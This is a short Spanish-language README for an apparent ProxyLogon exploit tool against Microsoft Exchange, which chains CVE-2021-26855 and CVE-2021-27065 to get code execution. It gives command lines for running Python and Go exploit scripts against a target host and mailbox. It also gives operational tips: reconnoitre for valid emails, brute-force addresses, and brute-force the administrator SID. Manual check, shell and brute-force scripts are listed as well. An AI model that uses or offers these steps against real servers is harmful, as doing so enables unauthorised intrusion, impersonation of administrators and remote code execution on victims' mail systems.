ProxyLogon

ProxyLogon es el nombre genérico formal para CVE-2021-26855, una vulnerabilidad en Microsoft Exchange Server que permite a un atacante eludir la autenticación y hacerse pasar por el administrador. También hemos encadenado este error con otra vulnerabilidad posterior a la autenticación de escritura arbitraria de archivos, CVE-2021-27065, para obtener ejecución de código.

ProxyLogon para Python3

usage:
    sudo python3 proxylogon.py --host=target.com [email protected]
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

ProxyLogon para Go

usage:
    go run proxylogon.go -u target.com -e [email protected]

Consejos:

1. reconocer el objetivo para encontrar una dirección de correo electrónico válida
2. si no encuentra ningún correo electrónico, use fuerza bruta en el objetivo con su archivo de correos electrónicos.
3. en algunos objetivos, la automatización del exploit no funciona, debe forzar por fuerza bruta el SID y reemplazarlo en SID=500

pentest manual

sudo python2 /manual/check.py 
sudo python2 /manual/shell.py 
sudo python2 /manual/brute.py 

referencias

• proxylogon